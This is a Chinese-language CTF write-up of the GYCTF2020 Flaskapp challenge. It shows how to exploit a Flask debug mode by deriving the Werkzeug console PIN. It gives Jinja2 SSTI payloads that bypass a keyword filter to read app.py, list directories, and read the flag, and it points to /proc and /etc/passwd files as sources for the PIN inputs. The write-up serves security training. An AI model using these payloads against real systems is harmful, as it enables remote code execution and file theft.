CTF中python问题之pin码
前言
此篇接着记录CTF中关于Python安全的问题
记录一下关于pin码的使用
这里仅仅对pin码的利用方式做一个记录,具体的分析方式可以参考
https://xz.aliyun.com/t/2553#toc-2
利用条件
针对flask 开启debug模式的条件下。触发flask报错,可进入控制台,旧版flask不需要pin码就可以记录,而新版的需要。
但是每台环境下的pin码是固定的,如果我们能拿到pin码,就可以调用控制台,执行任意命令了。
重点在于我们得知道6个参数:username 、modname、getattr(app, '__name__', getattr(app.__class__, '__name__')) 、getattr(mod, '__file__', None) 、uuid.getnode() 、 get_machine_id()
关于每个参数的获得:
1 | username 为启动flask项目的用户,我们可以通过读 /etc/passwd 文件,读 /proc/self/environ 环境变量也行 |
然后利用网上一位大佬的脚本:
1 | import hashlib |
然后可以拿到 pin码,触发报错,输入pin码可以直接进入控制台,执行任意命令。
demo
这里以GYCTF2020 Flaskapp为例子
打开题目,是一个base64加解密功能,试了一下,发现真的可以加解密,不过我在解密那里随便输入一个数,会报错,很显然开启了debug模式,我们在报错中找到一段:
1 |
|
这代码逻辑很清楚,就是把base64加密后的字符串进行解密,然后通过 render_template_string() 返回,很显然这里是存在ssti的。
我们随便尝试一下 {{7+9}} 的base64加密为:e3s3Kjl9fQ== 在解密那里提交进行解密:

然后到这里基本上有两个思路,一个是用ssti直接打flag,但是有Waf过滤,我们想办法绕过就好
另外一种就是拿pin码,不过还是得需要利用ssti来获得产生pin码的几个参数值。
两种都可以试试:
绕waf的ssti
试了几个payload发现都被Waf拦了,所以想办法先读app.py的代码:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
1 |
|
可以看到过滤了一些关键词,但是问题不大。没过滤加号,我们可以直接拼接绕过。接下来尝试读取一下根目录:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
然后发现根目录下有一个 this_is_the_flag.txt 文件 我们去读它:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open("/this_is_the_f"+"lag.txt",'r').read()}}{% endif %}{% endfor %}
即可。
拿pin码
拿pin码其实思路也差不多,也是利用ssti去读
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
用这个payload 依次去读取 /proc/self/environ 拿到username ,/sys/class/net/eth0/address 拿mac地址,然后16进制转一下10进制 (直接pyhton print(0x)) ,然后利用报错拿绝对路径,然后因为这里是docker环境,我们读/proc/self/cgroup 来拿机器id。
然后带入脚本跑出pin码,进入控制台
os.popen("cat /this_is_the_flag.txt").read()